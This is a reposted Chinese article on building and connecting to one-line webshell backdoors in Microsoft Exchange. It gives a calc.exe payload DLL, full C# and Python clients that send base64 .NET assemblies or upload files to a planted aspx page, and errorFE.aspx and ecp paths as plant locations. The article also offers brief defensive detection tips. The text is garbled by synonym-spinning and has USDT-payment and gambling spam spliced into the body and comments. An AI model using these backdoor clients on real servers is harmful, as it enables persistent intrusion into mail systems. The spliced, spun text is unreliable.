USDT自动充值

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

0x00 前言

在之前的文章《对APT34泄露工具的剖析-HighShell和HyperShell》剖析了HyperShell中的ExpiredPassword.aspx,通过向Exchange登录页面下的ExpiredPassword.aspx添加代码实现后门功效。

本文将要沿着这个思绪,在手艺角度先容另外两种实现方式,开源测试代码,给出防御建议。

0x01 简介

本文将要先容以下内容:

· 两种后门代码的实现

· 通过C Sharp代码实现后门毗邻

· 通过Python代码实现后门毗邻

· 行使剖析

· 防御建议

0x02 两种后门代码的实现

1.内存加载.net程序集

这里参考《行使动态二进制加密实现新型一句话木马之.NET篇》

为了缩短代码长度,示例test1.aspx的代码如下:

代码会判断是否带有POST请求的参数demodata,若是存在会将POST请求中参数demodata的内容作base64解密,在内存加载并挪用名为Payload的实例。

注:

sharpyshell也使用相同的内存加载方式。

我们可以通过以下方式天生Payload:

(1)新建文件demo.cs

代码如下:

using System;
using System.Diagnostics;
public class Payload
{
    public override bool Equals(Object obj)
    {
        Process.Start("calc.exe");
        return true;
    }
}

(2)编译天生dll文件

下令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library demo.cs

天生demo.dll后举行base64加密,作为POST请求中参数demodata的内容,发送至test1.aspx,即可触发后门。

2.文件写入

为了缩短代码长度,示例test2.aspx的代码如下:

代码会判断是否有文件上传请求,若是存在会将第一个文件上传请求的内容保留在同级目录下的uploadDemo.aspx

参数说明:

· Request.Files.Count:上传文件数目。

· Server.MapPath("") :返回当前页面所在的物理文件路径。

· Request.Files[0].SaveAs():保留上传的第一个文件。

· Server.MapPath("./uploadByfile.aspx"):返回当前页面同级路径下的"uploadByfile.aspx"

0x03 通过C Sharp代码实现后门毗邻

1.内存加载.net程序集

发送POST请求带参数时,ContentType需要指定为application/x-www-form-urlencoded。

POST请求的内容需要注重转义字符的问题,例如发送的内容包罗字符=,会被识别成用来离开键和值的特殊字符。而我们使用base64编码时,会用到字符=,以是在发送POST请求时,需要将base64编码的效果再次举行URL编码,例如将字符=转换为%3d。

,

Usdt第三方支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

完整代码如下:

using System;
using System.Text;
using System.Net;
using System.IO;
using System.Web;

namespace test
{
    public class Program
    {

        public static string HttpPostData(string url, string path)
        {
            byte[] buffer = System.IO.File.ReadAllBytes(path);
            string base64str = Convert.ToBase64String(buffer);

            ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };
            HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
            request.Method = "POST";
            request.ContentType = "application/x-www-form-urlencoded";
            request.UserAgent="Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx";

            string Param = "demodata=" + HttpUtility.UrlEncode(base64str);
            byte[] post=Encoding.UTF8.GetBytes(Param);
            Stream postStream = request.GetRequestStream();
            postStream.Write(post,0,post.Length);
            postStream.Close();

            HttpWebResponse response = request.GetResponse() as HttpWebResponse;    
            Stream instream = response.GetResponseStream();
            StreamReader sr = new StreamReader(instream, Encoding.UTF8);    
            string content = sr.ReadToEnd();
            return content;
        }
                     
        public static void Main(string[] args)
        {

            if(args.Length!=2)
            {
                Console.WriteLine(" ");
                System.Environment.Exit(0);
            }            

            try
            {
                string url = args[0];
                string path = args[1];
                Console.WriteLine("[*] Try to read: " + path);
                Console.WriteLine("[*] Try to access: " + url);

                string result = HttpPostData(url, path);
                Console.WriteLine("[*] Response: \n" + result);                                
            }
            catch (Exception e)
            {
                Console.WriteLine("{0}", e.Message);
                System.Environment.Exit(0);
        	}
        }
    }
}

2.文件写入

通过POST请求发送文件时,ContentType需要指定为multipart/form-data。

完整代码如下:

using System;
using System.Text;
using System.Net;
using System.IO;

namespace test
{
    public class Program
    {
        public static string HttpUploadFile(string url, string path)
        {
            ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => { return true; };
            HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
            request.Method = "POST";
            request.UserAgent="Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx";
            string boundary = DateTime.Now.Ticks.ToString("X");
            request.ContentType = "multipart/form-data;charset=utf-8;boundary=" + boundary;
            byte[] itemBoundaryBytes = Encoding.UTF8.GetBytes("\r\n--" + boundary + "\r\n");
            byte[] endBoundaryBytes = Encoding.UTF8.GetBytes("\r\n--" + boundary + "--\r\n");
            int pos = path.LastIndexOf("\\");
            string fileName = path.Substring(pos + 1);
   
            StringBuilder  *** Header = new StringBuilder(string.Format("Content-Disposition:form-data;name=\"file\";filename=\"{0}\"\r\nContent-Type:application/octet-stream\r\n\r\n", fileName));
            byte[] postHeaderBytes = Encoding.UTF8.GetBytes( *** Header.ToString());

            FileStream fs = new FileStream(path, FileMode.Open, FileAccess.Read);
            byte[] bArr = new byte[fs.Length];
            fs.Read(bArr, 0, bArr.Length);
            fs.Close();

            Stream postStream = request.GetRequestStream();
            postStream.Write(itemBoundaryBytes, 0, itemBoundaryBytes.Length);
            postStream.Write(postHeaderBytes, 0, postHeaderBytes.Length);
            postStream.Write(bArr, 0, bArr.Length);
            postStream.Write(endBoundaryBytes, 0, endBoundaryBytes.Length);
            postStream.Close();

            HttpWebResponse response = request.GetResponse() as HttpWebResponse;    
            Stream instream = response.GetResponseStream();
            StreamReader sr = new StreamReader(instream, Encoding.UTF8);    
            string content = sr.ReadToEnd();
            return content;
        }
                       
        public static void Main(string[] args)
        {
            
           if(args.Length!=2)
            {
                Console.WriteLine(" ");
                System.Environment.Exit(0);
            }            

            try
            {
                string url = args[0];
                string path = args[1];
                Console.WriteLine("[*] Try to read: " + path);
                Console.WriteLine("[*] Try to access: " + url);
                
                string result = HttpUploadFile(url, path);
                Console.WriteLine("[*] Response: \n" + result);               
            }
            catch (Exception e)
            {
                Console.WriteLine("{0}", e.Message);
                System.Environment.Exit(0);
            }

        }

    }
}

0x04 通过Python代码实现后门毗邻

相比于C Sharp,Python的代码加倍精练。

1.内存加载.net程序集

发送POST请求,参数为demodata,内容为base64编码的字符串。

完整代码如下:

import requests
import base64
import sys
import os
import urllib3
urllib3.disable_warnings()
import urllib.parse

def post(url,path):
    with open(path, 'rb') as file_obj:
        content = file_obj.read()
    data = base64.b64encode(content).decode('utf8')  
    body = {"demodata": data}
    postData = urllib.parse.urlencode(body).encode("utf-8")
    print(postData)
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx"
    } 

    response = requests.post(url, headers=headers, data=body, verify = False)
    print(response.text)
 
if __name__ == "__main__":
    if len(sys.argv)!=3:
        print('%s  '%(sys.argv[0]))
        sys.exit(0)
    else:
        post(sys.argv[1],sys.argv[2])

2.文件写入

发送POST请求,上传文件。

完整代码如下:

import requests
import base64
import sys
import os
import urllib3
urllib3.disable_warnings()
import urllib.parse

def post(url,path):
    with open(path, 'r') as file_obj:
        data = file_obj.read()  
    files = {'image_file':(path,data,'image/jpeg')};    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx"
    } 
    response = requests.post(url, headers=headers, files=files, verify = False)
    print(response.text)
 
if __name__ == "__main__":
    if len(sys.argv)!=3:
        print('%s  '%(sys.argv[0]))
        sys.exit(0)
    else:
        post(sys.argv[1],sys.argv[2])

0x05 行使剖析

无论是内存加载.net程序集照样文件写入的一句话后门,不仅可以作为自力的aspx文件存在,还可以插入到Exchange正常的页面中。

例如文件位置:%ExchangeInstallPath%FrontEnd\HttpProxy\owa\auth\errorFE.aspx。

errorFE.aspx为Exchange的错误页面,可以在其中插入一句话后门。

接见的url为:https://

注:

%ExchangeInstallPath%FrontEnd\下的文件可通过Web直接接见。

%ExchangeInstallPath%ClientAccess\下的文件只有经由验证的用户才气接见,也就是说,接见时需要带有正当用户的Cookie。

为了便于测试,我编写了毗邻一句话后门的测试程序,划分用C Sharp和Python实现,代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeBackdoor.cs

https://github.com/3gstudent/Homework-of-Python/blob/master/SharpExchangeBackdoor.py

代码支持对内存加载.net程序集和文件写入后门的毗邻

支持登录验证,例如将后门文件保留为:%ExchangeInstallPath%ClientAccess\ecp\Education.aspx

接见的url为:https://

对于SharpExchangeBackdoor.cs,在实现登录验证的功效时,需要注重以下问题:

正常在接见https://

对于SharpExchangeBackdoor.py,在实现登录验证的功效时,使用session工具可以自动处置网页重定向,获得可用的cookie。

作为测试程序,SharpExchangeBackdoor的通讯数据均未加密,内存加载.net程序集的功效仅做了base64编码,文件写入的功效未加密。

0x06 防御建议

对于Exchange一句话后门,不仅需要判断是否有新的文件写入,还需要判断正常的页面是否 *** 入恶意内容。

在静态剖析上面,可以查看aspx文件中是否包罗以下敏感函数:

· 内存加载:Assembly.Load,Assembly.LoadFrom,Assembly.LoadFile

· 文件写入:SaveAs,Write,WriteLine,WriteAllLines

· 历程启动:Start,WinExec

0x07 小结

本文先容了两种Exchange一句话后门(内存加载.net程序集和文件写入),开源测试代码,剖析行使思绪,给出防御建议。

本文为 3gstudent 原创稿件,授权嘶吼独家公布, 币游官网声明:该文看法仅代表作者自己,与本平台无关。转载请注明:usdt充值接口(www.caibao.it):渗透基础——Exchange一句话后门的实现
发布评论

分享到:

20年前「20K养3个孩子」!他回首过往叹:赚了钱来不及孝顺母亲
5 条回复
  1. usdt官网下载
    usdt官网下载
    (2021-04-11 00:09:18) 1#

    Usdt第三方支付接口一遍又一遍的

    1. 新2足球网址
      新2足球网址
      (2021-07-18 19:56:36)     

      皇冠足球appwww.huangguan.us)是一个开放皇冠即时比分、代理最新登录线路、会员最新登录线路、皇冠代理APP下载、皇冠会员APP下载、皇冠线路APP下载、皇冠电脑版下载、皇冠手机版下载的皇冠新现金网平台。皇冠官网平台上登录线路最新、新2皇冠网址更新最快,皇冠体育APP开放皇冠会员注册、皇冠代理开户等业务。

      就问你好不好看!

    2. 哪个平台买usdt便宜(www.usdt8.vip)
      哪个平台买usdt便宜(www.usdt8.vip)
      (2021-06-14 12:30:17)     

      USDT跑分www.Uotc.vip),全球頂尖的USDT場外擔保交易平臺。

      这个网站很全

  2. 新2线上开户(www.22223388.com)
    新2线上开户(www.22223388.com)
    (2021-09-13 00:13:21) 2#

     ▲ 影片压缩转档同样需要多执行绪加持,Ryzen 9 3950X 于 x264 FHD Benchmark 和 HWBOT x265 Benchmark,每秒划分可压缩 70.9 张和 96.084 张影格。留下脚印

  3. UG官网下载(www.ugbet.us)
    UG官网下载(www.ugbet.us)
    (2021-10-13 00:02:51) 3#

    马马虎虎,反正不差

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。